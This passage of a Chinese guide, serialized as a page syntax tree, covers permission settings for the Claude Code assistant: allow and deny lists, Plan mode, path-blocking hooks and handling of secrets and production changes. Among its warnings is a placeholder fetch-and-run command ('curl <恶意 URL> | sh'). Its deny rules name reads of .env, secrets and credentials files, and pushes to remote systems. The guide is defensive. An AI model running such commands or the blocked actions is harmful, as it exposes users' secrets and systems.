.claude\u002Fhooks\u002Fcheck-secret-leak.js \\\"$TOOL_INPUT\\\"\"\n          }\n        ]\n      }\n    ]\n  }\n}\n",[199,1308,1309,1313,1325,1337,1341,1360,1372,1376,1394,1417,1421,1425,1429,1433,1437],{"__ignoreMap":630},[634,1310,1311],{"class":636,"line":637},[634,1312,758],{"class":757},[634,1314,1315,1317,1319,1321,1323],{"class":636,"line":644},[634,1316,763],{"class":757},[634,1318,1155],{"class":766},[634,1320,770],{"class":757},[634,1322,773],{"class":757},[634,1324,776],{"class":757},[634,1326,1327,1329,1331,1333,1335],{"class":636,"line":651},[634,1328,781],{"class":757},[634,1330,1168],{"class":647},[634,1332,770],{"class":757},[634,1334,773],{"class":757},[634,1336,791],{"class":757},[634,1338,1339],{"class":636,"line":658},[634,1340,1179],{"class":757},[634,1342,1343,1345,1347,1349,1351,1353,1356,1358],{"class":636,"line":664},[634,1344,1184],{"class":757},[634,1346,1188],{"class":1187},[634,1348,770],{"class":757},[634,1350,773],{"class":757},[634,1352,1195],{"class":757},[634,1354,1355],{"class":670},"Edit|Write",[634,1357,770],{"class":757},[634,1359,804],{"class":757},[634,1361,1362,1364,1366,1368,1370],{"class":636,"line":677},[634,1363,1184],{"class":757},[634,1365,1155],{"class":1187},[634,1367,770],{"class":757},[634,1369,773],{"class":757},[634,1371,791],{"class":757},[634,1373,1374],{"class":636,"line":682},[634,1375,1219],{"class":757},[634,1377,1378,1380,1382,1384,1386,1388,1390,1392],{"class":636,"line":688},[634,1379,1224],{"class":757},[634,1381,1228],{"class":1227},[634,1383,770],{"class":757},[634,1385,773],{"class":757},[634,1387,1195],{"class":757},[634,1389,1237],{"class":670},[634,1391,770],{"class":757},[634,1393,804],{"class":757},[634,1395,1396,1398,1400,1402,1404,1406,1409,1411,1413,1415],{"class":636,"line":698},[634,1397,1224],{"class":757},[634,1399,1237],{"class":1227},[634,1401,770],{"class":757},[634,1403,773],{"class":757},[634,1405,1195],{"class":757},[634,1407,1408],{"class":670},"node .claude\u002Fhooks\u002Fcheck-secret-leak.js ",[634,1410,1260],{"class":1259},[634,1412,1263],{"class":670},[634,1414,1260],{"class":1259},[634,1416,904],{"class":757},[634,1418,1419],{"class":636,"line":703},[634,1420,1275],{"class":757},[634,1422,1423],{"class":636,"line":709},[634,1424,1280],{"class":757},[634,1426,1427],{"class":636,"line":884},[634,1428,1285],{"class":757},[634,1430,1431],{"class":636,"line":896},[634,1432,1108],{"class":757},[634,1434,1435],{"class":636,"line":907},[634,1436,1114],{"class":757},[634,1438,1439],{"class":636,"line":913},[634,1440,1120],{"class":757},[195,1442,1443,1446,1447,1450,1451,1450,1454,1457],{},[199,1444,1445],{},".claude\u002Fhooks\u002Fcheck-secret-leak.js"," 可以是一段自定义脚本——例如检查目标文件是否含 ",[199,1448,1449],{},".env","\u002F",[199,1452,1453],{},"secrets",[199,1455,1456],{},"token"," 等敏感字段。",[254,1459,1461],{"id":1460},"_24-plan-模式把自动执行降级为人工审批","2.4 Plan 模式：把\"自动执行\"降级为\"人工审批\"",[195,1463,1464],{},"Plan 模式是高风险变更场景的\"刹车系统\"。在该模式下，Claude 不能直接调用 Edit\u002FWrite\u002FBash 等\"会改变状态\"的工具，必须先输出一份完整的 Plan，等用户点击\"批准\"后才能执行。",[195,1466,1467],{},"最适合 Plan 模式的场景：",[227,1469,1470,1473,1476,1479,1482],{},[230,1471,1472],{},"首次接入一个陌生代码库",[230,1474,1475],{},"涉及多文件、多依赖的大型重构",[230,1477,1478],{},"涉及生产环境配置的修改",[230,1480,1481],{},"涉及 git 历史改写的操作（rebase \u002F cherry-pick）",[230,1483,1484],{},"任何团队 review 前的\"试运行\"",[195,1486,1487,1488,1490,1491,207],{},"启用方式：在会话中输入 ",[199,1489,722],{},"，或启动时加 ",[199,1492,1493],{},"--permission-mode plan",[254,1495,1497],{"id":1496},"_25-工具粒度的权限bash-全开-vs-限定命令","2.5 工具粒度的权限——Bash 全开 vs 限定命令",[195,1499,1500,1501,1504,1505,1507,1508,1507,1511,207,1514,207],{},"最危险的默认配置是 ",[199,1502,1503],{},"\"Bash(*)\"","。它意味着 Claude 可以执行任意 shell 命令——包括 ",[199,1506,201],{},"、",[199,1509,1510],{},"curl \u003C恶意 URL> | sh",[199,1512,1513],{},"npm install \u003Ctypo-squatting-package>",[204,1515,1516],{},"永远不要给 Bash 全开权限",[195,1518,1519],{},"正确的做法是按命令前缀分组：",[625,1521,1523],{"className":748,"code":1522,"language":750,"meta":630,"style":630},"{\n  \"permissions\": {\n    \"allow\": [\n      \"Bash(pnpm test*)\",\n      \"Bash(pnpm lint*)\",\n      \"Bash(pnpm format*)\",\n      \"Bash(pnpm typecheck)\",\n      \"Bash(pnpm build)\",\n      \"Bash(node --version)\",\n      \"Bash(git status)\",\n      \"Bash(git diff *)\",\n      \"Bash(git log *)\",\n      \"Bash(git branch)\",\n      \"Bash(ls *)\",\n      \"Bash(cat README.md)\",\n      \"Bash(rg *)\",\n      \"Bash(fd *)\"\n    ]\n  }\n}\n",[199,1524,1525,1529,1541,1553,1564,1575,1586,1596,1606,1617,1627,1638,1649,1660,1671,1682,1693,1702,1706,1710],{"__ignoreMap":630},[634,1526,1527],{"class":636,"line":637},[634,1528,758],{"class":757},[634,1530,1531,1533,1535,1537,1539],{"class":636,"line":644},[634,1532,763],{"class":757},[634,1534,767],{"class":766},[634,1536,770],{"class":757},[634,1538,773],{"class":757},[634,1540,776],{"class":757},[634,1542,1543,1545,1547,1549,1551],{"class":636,"line":651},[634,1544,781],{"class":757},[634,1546,784],{"class":647},[634,1548,770],{"class":757},[634,1550,773],{"class":757},[634,1552,791],{"class":757},[634,1554,1555,1557,1560,1562],{"class":636,"line":658},[634,1556,796],{"class":757},[634,1558,1559],{"class":670},"Bash(pnpm test*)",[634,1561,770],{"class":757},[634,1563,804],{"class":757},[634,1565,1566,1568,1571,1573],{"class":636,"line":664},[634,1567,796],{"class":757},[634,1569,1570],{"class":670},"Bash(pnpm lint*)",[634,1572,770],{"class":757},[634,1574,804],{"class":757},[634,1576,1577,1579,1582,1584],{"class":636,"line":677},[634,1578,796],{"class":757},[634,1580,1581],{"class":670},"Bash(pnpm format*)",[634,1583,770],{"class":757},[634,1585,804],{"class":757},[634,1587,1588,1590,1592,1594],{"class":636,"line":682},[634,1589,796],{"class":757},[634,1591,822],{"class":670},[634,1593,770],{"class":757},[634,1595,804],{"class":757},[634,1597,1598,1600,1602,1604],{"class":636,"line":688},[634,1599,796],{"class":757},[634,1601,833],{"class":670},[634,1603,770],{"class":757},[634,1605,804],{"class":757},[634,1607,1608,1610,1613,1615],{"class":636,"line":698},[634,1609,796],{"class":757},[634,1611,1612],{"class":670},"Bash(node --version)",[634,1614,770],{"class":757},[634,1616,804],{"class":757},[634,1618,1619,1621,1623,1625],{"class":636,"line":703},[634,1620,796],{"class":757},[634,1622,844],{"class":670},[634,1624,770],{"class":757},[634,1626,804],{"class":757},[634,1628,1629,1631,1634,1636],{"class":636,"line":709},[634,1630,796],{"class":757},[634,1632,1633],{"class":670},"Bash(git diff *)",[634,1635,770],{"class":757},[634,1637,804],{"class":757},[634,1639,1640,1642,1645,1647],{"class":636,"line":884},[634,1641,796],{"class":757},[634,1643,1644],{"class":670},"Bash(git log *)",[634,1646,770],{"class":757},[634,1648,804],{"class":757},[634,1650,1651,1653,1656,1658],{"class":636,"line":896},[634,1652,796],{"class":757},[634,1654,1655],{"class":670},"Bash(git branch)",[634,1657,770],{"class":757},[634,1659,804],{"class":757},[634,1661,1662,1664,1667,1669],{"class":636,"line":907},[634,1663,796],{"class":757},[634,1665,1666],{"class":670},"Bash(ls *)",[634,1668,770],{"class":757},[634,1670,804],{"class":757},[634,1672,1673,1675,1678,1680],{"class":636,"line":913},[634,1674,796],{"class":757},[634,1676,1677],{"class":670},"Bash(cat README.md)",[634,1679,770],{"class":757},[634,1681,804],{"class":757},[634,1683,1684,1686,1689,1691],{"class":636,"line":927},[634,1685,796],{"class":757},[634,1687,1688],{"class":670},"Bash(rg *)",[634,1690,770],{"class":757},[634,1692,804],{"class":757},[634,1694,1695,1697,1700],{"class":636,"line":939},[634,1696,796],{"class":757},[634,1698,1699],{"class":670},"Bash(fd *)",[634,1701,904],{"class":757},[634,1703,1704],{"class":636,"line":951},[634,1705,1108],{"class":757},[634,1707,1708],{"class":636,"line":963},[634,1709,1114],{"class":757},[634,1711,1712],{"class":636,"line":975},[634,1713,1120],{"class":757},[195,1715,1716,1717,207],{},"这种\"白名单具体命令\"的方式让 Claude 在常规开发任务中无障碍工作，但任何一条不在白名单上的命令都会触发确认。",[204,1718,1719],{},"信任建立在\"我清楚 AI 能做什么\"的基础上",[195,1721,1722,1725],{},[204,1723,1724],{},"白名单维护的反模式与对策","：实际项目中，白名单会随着团队工作流变化逐渐膨胀，最终走向两个极端——",[227,1727,1728,1737],{},[230,1729,1730,1733,1734,1736],{},[204,1731,1732],{},"极端 A：白名单过短","：每天数十次\"please confirm\"打断工程师，最终团队选择关掉确认（即变相走向 ",[199,1735,593],{},"），所有的安全设计前功尽弃。",[230,1738,1739,1742,1743,1507,1746,1749],{},[204,1740,1741],{},"极端 B：白名单过长","：白名单逐渐添加到几十上百条，包含了实际并不该自动放行的命令（例如 ",[199,1744,1745],{},"git rebase",[199,1747,1748],{},"pnpm publish:test","），团队也不再 review，安全形同虚设。",[195,1751,1752,348],{},[204,1753,1754],{},"对策",[1756,1757,1758,1764,1770],"ol",{},[230,1759,1760,1763],{},[204,1761,1762],{},"每月做一次白名单 review","：打开 settings.json，逐条确认\"这条规则是否还在使用？是否仍然安全？\"。把不再使用的删除、把过宽的收紧。",[230,1765,1766,1769],{},[204,1767,1768],{},"建立\"命令使用频率统计\"","：通过 Hooks 在每次工具调用时记录命令到日志，月底做一份\"高频命令排行\"，把高频但目前每次都需确认的命令评估是否纳入白名单。",[230,1771,1772,1775,1776,1507,1779,1507,1782,1785],{},[204,1773,1774],{},"白名单分组","：按风险等级把白名单拆成 ",[199,1777,1778],{},"\"safe-readonly\"",[199,1780,1781],{},"\"safe-build\"",[199,1783,1784],{},"\"safe-dev-deps\""," 等分组，让维护者一眼看出哪些是低风险、哪些需要谨慎。",[246,1787],{},[249,1789,1791],{"id":1790},"三五类典型高风险动作的边界","三、五类典型高风险动作的边界",[254,1793,1795],{"id":1794},"_31-写入生产数据库-执行-schema-迁移","3.1 写入生产数据库 \u002F 执行 schema 迁移",[195,1797,1798,1799,1802],{},"数据库迁移是软件工程史上\"最容易导致大事故\"的环节之一。一次错误的 ",[199,1800,1801],{},"ALTER TABLE"," 可能导致 schema 不一致、数据丢失、长时间锁表。",[195,1804,1805,348],{},[204,1806,732],{},[227,1808,1809,1814,1819,1824],{},[230,1810,1811,207],{},[204,1812,1813],{},"生产数据库的连接字符串永远不出现在 prompt 中",[230,1815,1816,207],{},[204,1817,1818],{},"Claude 只生成 migration 脚本，不直接执行",[230,1820,1821,207],{},[204,1822,1823],{},"所有 migration 必须在 staging 环境跑过、被 review、再 merge",[230,1825,1826,1829,1830,1833],{},[204,1827,1828],{},"生产 migration 由人类工程师手动触发","——",[199,1831,1832],{},"pnpm migrate:prod"," 这样的命令永远不应被加入 allow 列表。",[195,1835,1836],{},"让 Claude 协助起草 migration：",[625,1838,1843],{"className":1839,"code":1841,"language":1842},[1840],"language-text","请基于 src\u002Fuser\u002Ftypes.ts 中的 User 接口变更，生成对应的 SQL migration：\n- 工具：drizzle-kit generate\n- 文件：drizzle\u002Fmigrations\u002F0042_add_phone_number.sql\n- 必须包含 up + down 两个方向\n\n不要执行 drizzle-kit migrate，仅生成脚本。我审阅后由 DBA 在生产手动执行。\n","text",[199,1844,1841],{"__ignoreMap":630},[195,1846,1847,1850],{},[204,1848,1849],{},"生产数据库变更的\"四关审批流\"","：成熟团队通常会把生产 migration 拆成四道关，避免单点错误：",[1756,1852,1853,1859,1865,1871],{},[230,1854,1855,1858],{},[204,1856,1857],{},"第一关：开发者本地","——Claude 生成 migration，开发者审阅 SQL 是否正确、是否有破坏性。",[230,1860,1861,1864],{},[204,1862,1863],{},"第二关：Code Review","——队友审阅 migration 的 up\u002Fdown 双向是否对称、索引是否合理、锁表风险是否可控。",[230,1866,1867,1870],{},[204,1868,1869],{},"第三关：Staging 全量演练","——在 staging 环境对生产快照执行一遍 migration，验证耗时、空间、回滚是否正常。",[230,1872,1873,1876],{},[204,1874,1875],{},"第四关：生产维护窗口手动执行","——DBA 或值班 SRE 在公司维护窗口期手动执行，全程录屏、监控、保留回滚开关。",[195,1878,1879],{},"四关之间不能跳过。任何一关跳过都意味着把\"防御纵深\"变成了\"单点防御\"——很多大事故的复盘都能追溯到\"为了赶进度跳过了某一关\"。Claude 在这条流水线里只参与第一关，其余三关都需要人类完整介入。",[254,1881,1883],{"id":1882},"_32-推送到远端-操作生产环境","3.2 推送到远端 \u002F 操作生产环境",[195,1885,1886,1507,1889,1507,1892,1895],{},[199,1887,1888],{},"git push",[199,1890,1891],{},"docker push",[199,1893,1894],{},"kubectl apply"," 这类\"把本地状态推向远端\"的命令，应当全部加入 deny 列表，并由人类工程师手动确认后执行。",[625,1897,1899],{"className":748,"code":1898,"language":750,"meta":630,"style":630},"{\n  \"permissions\": {\n    \"deny\": [\n      \"Bash(git push:*)\",\n      \"Bash(docker push:*)\",\n      \"Bash(kubectl apply:*)\",\n      \"Bash(kubectl delete:*)\",\n      \"Bash(helm upgrade:*)\",\n      \"Bash(terraform apply:*)\",\n      \"Bash(aws s3 cp:*)\",\n      \"Bash(gcloud deploy:*)\"\n    ]\n  }\n}\n",[199,1900,1901,1905,1917,1929,1940,1950,1961,1972,1983,1993,2004,2013,2017,2021],{"__ignoreMap":630},[634,1902,1903],{"class":636,"line":637},[634,1904,758],{"class":757},[634,1906,1907,1909,1911,1913,1915],{"class":636,"line":644},[634,1908,763],{"class":757},[634,1910,767],{"class":766},[634,1912,770],{"class":757},[634,1914,773],{"class":757},[634,1916,776],{"class":757},[634,1918,1919,1921,1923,1925,1927],{"class":636,"line":651},[634,1920,781],{"class":757},[634,1922,918],{"class":647},[634,1924,770],{"class":757},[634,1926,773],{"class":757},[634,1928,791],{"class":757},[634,1930,1931,1933,1936,1938],{"class":636,"line":658},[634,1932,796],{"class":757},[634,1934,1935],{"class":670},"Bash(git push:*)",[634,1937,770],{"class":757},[634,1939,804],{"class":757},[634,1941,1942,1944,1946,1948],{"class":636,"line":664},[634,1943,796],{"class":757},[634,1945,992],{"class":670},[634,1947,770],{"class":757},[634,1949,804],{"class":757},[634,1951,1952,1954,1957,1959],{"class":636,"line":677},[634,1953,796],{"class":757},[634,1955,1956],{"class":670},"Bash(kubectl apply:*)",[634,1958,770],{"class":757},[634,1960,804],{"class":757},[634,1962,1963,1965,1968,1970],{"class":636,"line":682},[634,1964,796],{"class":757},[634,1966,1967],{"class":670},"Bash(kubectl delete:*)",[634,1969,770],{"class":757},[634,1971,804],{"class":757},[634,1973,1974,1976,1979,1981],{"class":636,"line":688},[634,1975,796],{"class":757},[634,1977,1978],{"class":670},"Bash(helm upgrade:*)",[634,1980,770],{"class":757},[634,1982,804],{"class":757},[634,1984,1985,1987,1989,1991],{"class":636,"line":698},[634,1986,796],{"class":757},[634,1988,1016],{"class":670},[634,1990,770],{"class":757},[634,1992,804],{"class":757},[634,1994,1995,1997,2000,2002],{"class":636,"line":703},[634,1996,796],{"class":757},[634,1998,1999],{"class":670},"Bash(aws s3 cp:*)",[634,2001,770],{"class":757},[634,2003,804],{"class":757},[634,2005,2006,2008,2011],{"class":636,"line":709},[634,2007,796],{"class":757},[634,2009,2010],{"class":670},"Bash(gcloud deploy:*)",[634,2012,904],{"class":757},[634,2014,2015],{"class":636,"line":884},[634,2016,1108],{"class":757},[634,2018,2019],{"class":636,"line":896},[634,2020,1114],{"class":757},[634,2022,2023],{"class":636,"line":907},[634,2024,1120],{"class":757},[195,2026,2027,2028,2031],{},"如果 Claude 提议执行这些命令，工程师可以选择\"批准一次\"，但",[204,2029,2030],{},"永远不要把它们加入 allow 列表","——单次批准的成本是 5 秒钟，全局放权的成本可能是整个生产环境。",[254,2033,2035],{"id":2034},"_33-安装升级依赖供应链攻击防御","3.3 安装\u002F升级依赖（供应链攻击防御）",[195,2037,2038,2039,1507,2042,2045],{},"供应链攻击（Supply Chain Attack）是近年来最常见的安全威胁之一。攻击者通过发布\"包名错字\"型恶意包（如 ",[199,2040,2041],{},"react-dom-2",[199,2043,2044],{},"lodaash","）或污染合法包（如 ua-parser-js 事件），让开发者在不知情的情况下引入恶意代码。",[195,2047,2048,2049,294,2052,2055,2056,348],{},"让 Claude 自动 ",[199,2050,2051],{},"pnpm add",[199,2053,2054],{},"pnpm update"," 是高风险的——它可能基于过期的训练数据推荐已被废弃或被攻击的包。",[204,2057,2058],{},"正确做法是 Claude 提议，人类核对",[625,2060,2063],{"className":2061,"code":2062,"language":1842},[1840],"请推荐一个 TypeScript 写的 CSV 解析库，用于服务端处理大文件。\n要求：\n1. 列出 3 个候选，按 GitHub stars 与 npm 周下载排序\n2. 标注每个包的最近一次 release 日期与维护活跃度\n3. 不要直接执行 pnpm add，等我确认后我手动执行\n",[199,2064,2062],{"__ignoreMap":630},[195,2066,2067,2068,348],{},"工程师收到推荐后，应当",[204,2069,2070],{},"逐个核对",[227,2072,2073,2076,2079,2082],{},[230,2074,2075],{},"包名是否拼写正确（防错字攻击）",[230,2077,2078],{},"维护者是否可信（GitHub 历史、社区评价）",[230,2080,2081],{},"最近一次 release 时间（避免引入\"被弃坑\"的包）",[230,2083,2084],{},"是否有已知 CVE 漏洞",[254,2086,2088],{"id":2087},"_34-操作密钥token生产环境配置","3.4 操作密钥、Token、生产环境配置",[195,2090,2091],{},"密钥管理的\"三铁律\"：",[1756,2093,2094,2104,2119],{},[230,2095,2096,2099,2100,2103],{},[204,2097,2098],{},"永远不在 prompt 中粘贴真实密钥","——用 ",[199,2101,2102],{},"\u003CAPI_KEY>"," 占位符。",[230,2105,2106,2118],{},[204,2107,2108,2109,2111,2112,2111,2115],{},"永远不让 Claude 读 ",[199,2110,1449],{}," \u002F ",[199,2113,2114],{},".env.local",[199,2116,2117],{},"secrets\u002F*","——通过 deny 规则硬阻断。",[230,2120,2121,2126],{},[204,2122,2123,2124],{},"永远不让 Claude 修改 ",[199,2125,1449],{},"——同上。",[195,2128,2129],{},"配置示例：",[625,2131,2133],{"className":748,"code":2132,"language":750,"meta":630,"style":630},"{\n  \"permissions\": {\n    \"deny\": [\n      \"Read(.env)\",\n      \"Read(.env.*)\",\n      \"Read(**\u002F.env)\",\n      \"Read(**\u002F.env.*)\",\n      \"Read(**\u002Fsecrets\u002F**)\",\n      \"Read(**\u002Fcredentials\u002F**)\",\n      \"Edit(.env)\",\n      \"Edit(.env.*)\",\n      \"Edit(**\u002F.env)\",\n      \"Edit(**\u002F.env.*)\",\n      \"Write(.env)\",\n      \"Write(.env.*)\"\n    ]\n  }\n}\n",[199,2134,2135,2139,2151,2163,2173,2183,2193,2204,2214,2225,2236,2247,2258,2269,2280,2289,2293,2297],{"__ignoreMap":630},[634,2136,2137],{"class":636,"line":637},[634,2138,758],{"class":757},[634,2140,2141,2143,2145,2147,2149],{"class":636,"line":644},[634,2142,763],{"class":757},[634,2144,767],{"class":766},[634,2146,770],{"class":757},[634,2148,773],{"class":757},[634,2150,776],{"class":757},[634,2152,2153,2155,2157,2159,2161],{"class":636,"line":651},[634,2154,781],{"class":757},[634,2156,918],{"class":647},[634,2158,770],{"class":757},[634,2160,773],{"class":757},[634,2162,791],{"class":757},[634,2164,2165,2167,2169,2171],{"class":636,"line":658},[634,2166,796],{"class":757},[634,2168,1028],{"class":670},[634,2170,770],{"class":757},[634,2172,804],{"class":757},[634,2174,2175,2177,2179,2181],{"class":636,"line":664},[634,2176,796],{"class":757},[634,2178,1040],{"class":670},[634,2180,770],{"class":757},[634,2182,804],{"class":757},[634,2184,2185,2187,2189,2191],{"class":636,"line":677},[634,2186,796],{"class":757},[634,2188,1052],{"class":670},[634,2190,770],{"class":757},[634,2192,804],{"class":757},[634,2194,2195,2197,2200,2202],{"class":636,"line":682},[634,2196,796],{"class":757},[634,2198,2199],{"class":670},"Read(**\u002F.env.*)",[634,2201,770],{"class":757},[634,2203,804],{"class":757},[634,2205,2206,2208,2210,2212],{"class":636,"line":688},[634,2207,796],{"class":757},[634,2209,1064],{"class":670},[634,2211,770],{"class":757},[634,2213,804],{"class":757},[634,2215,2216,2218,2221,2223],{"class":636,"line":698},[634,2217,796],{"class":757},[634,2219,2220],{"class":670},"Read(**\u002Fcredentials\u002F**)",[634,2222,770],{"class":757},[634,2224,804],{"class":757},[634,2226,2227,2229,2232,2234],{"class":636,"line":703},[634,2228,796],{"class":757},[634,2230,2231],{"class":670},"Edit(.env)",[634,2233,770],{"class":757},[634,2235,804],{"class":757},[634,2237,2238,2240,2243,2245],{"class":636,"line":709},[634,2239,796],{"class":757},[634,2241,2242],{"class":670},"Edit(.env.*)",[634,2244,770],{"class":757},[634,2246,804],{"class":757},[634,2248,2249,2251,2254,2256],{"class":636,"line":884},[634,2250,796],{"class":757},[634,2252,2253],{"class":670},"Edit(**\u002F.env)",[634,2255,770],{"class":757},[634,2257,804],{"class":757},[634,2259,2260,2262,2265,2267],{"class":636,"line":896},[634,2261,796],{"class":757},[634,2263,2264],{"class":670},"Edit(**\u002F.env.*)",[634,2266,770],{"class":757},[634,2268,804],{"class":757},[634,2270,2271,2273,2276,2278],{"class":636,"line":907},[634,2272,796],{"class":757},[634,2274,2275],{"class":670},"Write(.env)",[634,2277,770],{"class":757},[634,2279,804],{"class":757},[634,2281,2282,2284,2287],{"class":636,"line":913},[634,2283,796],{"class":757},[634,2285,2286],{"class":670},"Write(.env.*)",[634,2288,904],{"class":757},[634,2290,2291],{"class":636,"line":927},[634,2292,1108],{"class":757},[634,2294,2295],{"class":636,"line":939},[634,2296,1114],{"class":757},[634,2298,2299],{"class":636,"line":951},[634,2300,1120],{"class":757},[195,2302,2303],{},"并把这条规则写进 CLAUDE.md：",[625,2305,2309],{"className":2306,"code":2307,"language":2308,"meta":630,"style":630},"language-markdown shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","## 安全铁律\n- 任何 .env \u002F secrets \u002F credentials 文件，Claude 不读、不写、不引用\n- prompt 中遇到密钥，一律用 \u003CAPI_KEY> \u002F \u003CTOKEN> 占位\n- 调试需要真实值时，工程师本地手动操作，不引入 Claude\n","markdown",[199,2310,2311,2319,2327,2334],{"__ignoreMap":630},[634,2312,2313,2316],{"class":636,"line":637},[634,2314,2315],{"class":757},"## ",[634,2317,2318],{"class":647},"安全铁律\n",[634,2320,2321,2324],{"class":636,"line":644},[634,2322,2323],{"class":757},"-",[634,2325,2326],{"class":1259}," 任何 .env \u002F secrets \u002F credentials 文件，Claude 不读、不写、不引用\n",[634,2328,2329,2331],{"class":636,"line":651},[634,2330,2323],{"class":757},[634,2332,2333],{"class":1259}," prompt 中遇到密钥，一律用 \u003CAPI_KEY> \u002F \u003CTOKEN> 占位\n",[634,2335,2336,2338],{"class":636,"line":658},[634,2337,2323],{"class":757},[634,2339,2340],{"class":1259}," 调试需要真实值时，工程师本地手动操作，不引入 Claude\n",[254,2342,2344],{"id":2343},"_35-跨仓库跨项目的全局影响动作","3.5 跨仓库\u002F跨项目的\"全局影响\"动作",[195,2346,2347],{},"某些动作虽然技术上无害，但会跨越项目边界产生连锁影响。例如：",[227,2349,2350,2357,2366,2371],{},[230,2351,2352,2353,2356],{},"修改用户级 ",[199,2354,2355],{},"~\u002F.claude\u002FCLAUDE.md","（影响所有项目）",[230,2358,2352,2359,2111,2362,2365],{},[199,2360,2361],{},"~\u002F.zshrc",[199,2363,2364],{},"~\u002F.bashrc","（影响所有终端会话）",[230,2367,2368,2369,600],{},"全局安装 npm 包（",[199,2370,512],{},[230,2372,2373],{},"修改系统级 hosts 文件、DNS 配置",[195,2375,2376,2377,348],{},"这类动作 deny 规则较难枚举。",[204,2378,2379],{},"应对策略",[227,2381,2382,2389,2392],{},[230,2383,2384,2385,2388],{},"默认让 Claude 在项目内工作（",[199,2386,2387],{},"cwd"," 限制）",[230,2390,2391],{},"任何\"路径在项目外\"的动作都升级到 Plan 模式",[230,2393,2394],{},"用 Hooks 检测路径，拦截 cross-project 操作",[625,2396,2398],{"className":748,"code":2397,"language":750,"meta":630,"style":630},"{\n  \"hooks\": {\n    \"PreToolUse\": [\n      {\n        \"matcher\": \"Edit|Write|Bash\",\n        \"hooks\": [\n          {\n            \"type\": \"command\",\n            \"command\": \"if echo \\\"$TOOL_INPUT\\\" | grep -qE '~\u002F|\u002FUsers\u002F[^\u002F]+\u002F|\u002Fhome\u002F[^\u002F]+\u002F' && ! echo \\\"$TOOL_INPUT\\\" | grep -q \\\"$(pwd)\\\"; then echo 'BLOCKED: 检测到对项目外路径的操作，请使用 plan 模式确认' >&2; exit 1; fi\"\n          }\n        ]\n      }\n    ]\n  }\n}\n",[199,2399,2400,2404,2416,2428,2432,2451,2463,2467,2485,2529,2533,2537,2541,2545,2549],{"__ignoreMap":630},[634,2401,2402],{"class":636,"line":637},[634,2403,758],{"class":757},[634,2405,2406,2408,2410,2412,2414],{"class":636,"line":644},[634,2407,763],{"class":757},[634,2409,1155],{"class":766},[634,2411,770],{"class":757},[634,2413,773],{"class":757},[634,2415,776],{"class":757},[634,2417,2418,2420,2422,2424,2426],{"class":636,"line":651},[634,2419,781],{"class":757},[634,2421,1168],{"class":647},[634,2423,770],{"class":757},[634,2425,773],{"class":757},[634,2427,791],{"class":757},[634,2429,2430],{"class":636,"line":658},[634,2431,1179],{"class":757},[634,2433,2434,2436,2438,2440,2442,2444,2447,2449],{"class":636,"line":664},[634,2435,1184],{"class":757},[634,2437,1188],{"class":1187},[634,2439,770],{"class":757},[634,2441,773],{"class":757},[634,2443,1195],{"class":757},[634,2445,2446],{"class":670},"Edit|Write|Bash",[634,2448,770],{"class":757},[634,2450,804],{"class":757},[634,2452,2453,2455,2457,2459,2461],{"class":636,"line":677},[634,2454,1184],{"class":757},[634,2456,1155],{"class":1187},[634,2458,770],{"class":757},[634,2460,773],{"class":757},[634,2462,791],{"class":757},[634,2464,2465],{"class":636,"line":682},[634,2466,1219],{"class":757},[634,2468,2469,2471,2473,2475,2477,2479,2481,2483],{"class":636,"line":688},[634,2470,1224],{"class":757},[634,2472,1228],{"class":1227},[634,2474,770],{"class":757},[634,2476,773],{"class":757},[634,2478,1195],{"class":757},[634,2480,1237],{"class":670},[634,2482,770],{"class":757},[634,2484,804],{"class":757},[634,2486,2487,2489,2491,2493,2495,2497,2499,2501,2503,2505,2508,2510,2512,2514,2517,2519,2522,2524,2527],{"class":636,"line":698},[634,2488,1224],{"class":757},[634,2490,1237],{"class":1227},[634,2492,770],{"class":757},[634,2494,773],{"class":757},[634,2496,1195],{"class":757},[634,2498,1256],{"class":670},[634,2500,1260],{"class":1259},[634,2502,1263],{"class":670},[634,2504,1260],{"class":1259},[634,2506,2507],{"class":670}," | grep -qE '~\u002F|\u002FUsers\u002F[^\u002F]+\u002F|\u002Fhome\u002F[^\u002F]+\u002F' && ! echo ",[634,2509,1260],{"class":1259},[634,2511,1263],{"class":670},[634,2513,1260],{"class":1259},[634,2515,2516],{"class":670}," | grep -q ",[634,2518,1260],{"class":1259},[634,2520,2521],{"class":670},"$(pwd)",[634,2523,1260],{"class":1259},[634,2525,2526],{"class":670},"; then echo 'BLOCKED: 检测到对项目外路径的操作，请使用 plan 模式确认' >&2; exit 1; fi",[634,2528,904],{"class":757},[634,2530,2531],{"class":636,"line":703},[634,2532,1275],{"class":757},[634,2534,2535],{"class":636,"line":709},[634,2536,1280],{"class":757},[634,2538,2539],{"class":636,"line":884},[634,2540,1285],{"class":757},[634,2542,2543],{"class":636,"line":896},[634,2544,1108],{"class":757},[634,2546,2547],{"class":636,"line":907},[634,2548,1114],{"class":757},[634,2550,2551],{"class":636,"line":913},[634,2552,1120],{"class":757},[246,2554],{},[249,2556,2558],{"id":2557},"四信任分级什么时候让-ai-自动决策","四、信任分级——什么时候让 AI 自动决策",[254,2560,2562],{"id":2561},"_41-不可逆-vs-可逆动作的区分","4.1 不可逆 vs 可逆动作的区分",[195,2564,2565,2566,207],{},"权限设计的第一性原理：",[204,2567,2568],{},"可逆动作放宽，不可逆动作收紧",[227,2570,2571,2580],{},[230,2572,2573,2576,2577,2579],{},[204,2574,2575],{},"可逆","：写代码、跑测试、生成文档。错了 ",[199,2578,293],{}," 就回去了。",[230,2581,2582,2585],{},[204,2583,2584],{},"不可逆","：发邮件、推送代码、删除分支、扣用户款。错了无法撤回。",[195,2587,2588,2589,207],{},"这条标准看似简单，但很多反模式都源于\"误以为可逆其实不可逆\"——例如以为\"git push 错了再 push 一次\"，实际上 main 分支被 force-push 后中间的 commit 可能已经被其他人 pull 过、引发协作灾难。",[204,2590,2591],{},"判断\"可逆\"时要问的不是\"我能不能撤回\"，而是\"撤回时其他人是否已经基于错误状态做了进一步动作\"",[254,2593,2595],{"id":2594},"_42-影响半径","4.2 影响半径",[387,2597,2598,2611],{},[390,2599,2600],{},[393,2601,2602,2605,2608],{},[396,2603,2604],{},"影响半径",[396,2606,2607],{},"例子",[396,2609,2610],{},"推荐权限层级",[409,2612,2613,2624,2635,2646,2657],{},[393,2614,2615,2618,2621],{},[414,2616,2617],{},"单文件",[414,2619,2620],{},"修改一个 source file",[414,2622,2623],{},"执行层（自动）",[393,2625,2626,2629,2632],{},[414,2627,2628],{},"单仓库",[414,2630,2631],{},"修改 package.json、tsconfig",[414,2633,2634],{},"审查层（Plan）",[393,2636,2637,2640,2643],{},[414,2638,2639],{},"单项目",[414,2641,2642],{},"部署到 